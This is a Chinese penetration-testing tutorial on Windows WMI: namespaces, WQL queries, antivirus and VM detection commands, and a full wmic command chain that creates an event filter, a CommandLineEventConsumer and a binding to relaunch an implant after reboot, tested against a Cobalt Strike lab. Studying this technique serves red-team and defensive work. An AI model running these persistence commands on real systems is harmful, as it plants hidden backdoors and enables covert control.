渗透测试实战之WMI持久化记录

0x00 背景

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机,WMI 采用统一的、基于标准的、可扩展的面向对象接口,可以直接调用 WMI 接口来检索性能数据,管理事件日志、文件系统、打印机、进程、注册表设置、计划程序、安全性、服务、共享以及很多其他的操作系统组件和配置设置,使系统开发者可以与 Windows 管理信息进行交互,自从 WMI 被 Stuxnet 用于持久化控制后,越来越多的安全研究人员开始关注 WMI 技术。此后,攻击者同样开始关注 WMI 技术,他们使用这种技术来侦探系统环境、检测反病毒软件和虚拟机环境、执行代码、持久化控制、窃取数据等。

0x01 WMI 命名空间

WMI 引入了命名空间的概念。命名空间是为了把一些类和类的实例更好地管理而定义的把这些类和实体集合起来的一个团体。命名空间可以相互联系和组织成一个具有任意层次的由类和类的实例构成的网状结构。在同一个层次的情况下,命名空间必须具有互异的名称。

WMI 主要有以下几种命名空间:

WMI 包括两个组件:含有 WMI 核心的 WMI 服务和 WMI 存储库。WMI 存储库是由 WMI 命名空间组织的。在系统启动时,WMI 服务会创建如 root\default、root\cimv2 和 root\subscription 等 WMI 命名空间,同时会预安装一部分 WMI 类的定义信息到这些命名空间中,例如 Win32 类。

  1. root\default:与 Windows 注册表操作有关的主机类,可以读取、写入、枚举、监视、创建、删除注册表项和值。

  2. root\cimv32:包含从 CIM 存储库派生的类,提供关于计算机、磁盘、外围设备、文件、文件夹、文件系统、网络组件、操作系统、打印机、进程、安全性、服务、共享、SAM  用户及组等 Win32 信息资源。

  3. root\Security:用于与 Windows 安全有关的类。

  4. root\WMI:提供对  WDM  设备驱动程序中信息访问的类。

分类

WMI 接口 

命名空间 

类 

属性/方法 

制造商 

Root/cimv2

Win32_Computer

System

属性:Manufacturer(制造商)、 Model(型号)

CPU 

Root/cimv2

Win32_Processor 

属性:Name(CPU 基本情况) Manufacturer(制造商)、 ExtClock(外部时钟频率)、 L2CacheSize(二级缓存大小)

内存

Root/cimv2

Win32_Computer

System

属性:TotalPhysicalMemory(内存大小) 

硬盘 

Root/cimv2

Win32_DiskDrive

属性:InterfaceType(类型)、 Size(容量)、Signature(序列号)

Win32_LogicalDisk

属性:DeviceID(驱动器名称)、Size(盘容量)、FileSystem(文件系统格式)

网卡 

Root/cimv2

Win32_Network Adapter

属性:Name(型号)、Manufacturer(制造商)、NetConnectionID(网络连接名称)

打印机 

Root/cimv2

Win32_Printer

属性:Name(名称)、Default(是否默认打印机)、PrintStatus(打印机状态)

主机名、域名、

工作组名

Root/cimv2

Win32_Computer

System

属性:Name(主机名)、Domain(域名)、Workgroup(工作组名)

应用软件

查询

Root/cimv2

StdRegProv

方法:

REG_SZ:GetString Value

REG_BINARY:GetBinary Value

REG_DOWRK:GetDWORD value

REG_MULTI_SZ:GetMultiString Value

杀毒软件

Root\SecurityCenter2

AntiVirusProduct 

属性:DisplayName(名称) VersionNumber(版本) 

防火墙

Root\SecurityCenter

FirewallProduct 

属性:DisplayName(名称) VersionNumber(版本) 

账户信息

Root/ cimv2

Win32_UserAccount

属性:Name(名称)、Disabled(是否停用)、Lockout(是否锁定)、PasswordExpires(密码是否永不过期)

信息查询 

Root/ cimv2

Win32_Process 

属性:Name(进程名称)、 ProcessID(PID)、ExecutablePath(执行文件路径)

0x02 WMI 查询

WMI 提供了一种查询语言 WQL,可以查询 WMI 任何托管资源。WQL 是 ANSI SQL 的一个子集,与 SQL 语言相似,但它只能用于数据提取,不能创建、修改和删除类或实例。

服务查询

SELECT * from Win32_Service

共享查询

SELECT * from Win32_Share

进程查询

SELECT * from Win32_Process

用户查询

0x03 WMI 常用命令

杀毒软件检测

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct

虚拟机检测

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem GET NumberOfLogicalProcessors,TotalPhysicalMemory /FORMAT:list

查询补丁信息

wmic qfe get Caption,Description,HotFixID,InstalledOn

0x04 持久化原理

WMI 包含一个事件机制,用来通知 WMI 数据和服务的变化。当特定的事件发生时,WMI 事件类就会提供通知。当有类的实例创建,删除或修改时,就会触发事件类,常见的事件类如下:

    _InstanceModificationEvent

    _ClassCreationEvent

    _ClassDeletionEvent

    _ClassModificationEvent

    _NamespaceCreationEvent

    _NamespaceDeletionEvent

    _NamespaceModificationevent

    _Instance Creation Event

    _Instance Deletion Event

事件类的名字代表着它们发生变化的类型。WMI 可以直接检测到静态数据的变化,例如那些保存在 CIM 存储库中的类,实例或属性。如果是动态数据,WMI 则通过事件订阅的方式检测其变化。在这两种情况下,WMI 一旦检测到变化,将会查看该变化是否被用户订阅,若有则通知用户。

WMI 事件筛选器用于执行WQL事件查询。

SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'

CommandLineEventConsumer 类是 WMI 提供的标准事件使用者之一,在CommandLineEventConsumer 类中可以设置 ExecutablePath 等属性,执行所需的可执行文件,如下所示:

instance of CommandLineEventConsumer
{
  ExecutablePath = "C:\\windows\\system32\\cscript.exe";
  CommandLineTemplate = "C:\\windows\\system32\\cscript.exe"
    "C:\\scripts\\MyScript.js param1 param2";
};

创建消费者绑定筛选器实例,就是将筛选器实例和消费者实例绑定,然后 WMI 将根据筛选器匹配的事件转发到使用者。

class __FilterToConsumerBinding : __IndicationRelated
{
  __EventConsumer REF Consumer;
  uint8               CreatorSID[];
  boolean             DeliverSynchronously = False;
  uint32              DeliveryQoS;
  __EventFilter   REF Filter;
  boolean             MaintainSecurityContext = False;
  boolean             SlowDownProviders = False;
};

创建过滤器事件

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="c4", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list

创建使用者事件

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="c4", ExecutablePath="C:\TEMP\demo.exe",CommandLineTemplate="C:\TEMP\demo.exe"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list

绑定过滤器和使用者

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"c4\"", Consumer="CommandLineEventConsumer.Name=\"c4\""

成功上线

0x05 环境测试

演示环境:Windows 10 专业版

测试机地址:192.168.3.156

Cobalt Strike 地址:192.168.3.152

植入后门

重启上线

参考

https://docs.microsoft.com/en-us/windows/win32/wmisdk/commandlineeventconsumer

http://www.exploit-monday.com/2016/08/wmi-persistence-using-wmic.html

https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/

https://www.anquanke.com/post/id/88851

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值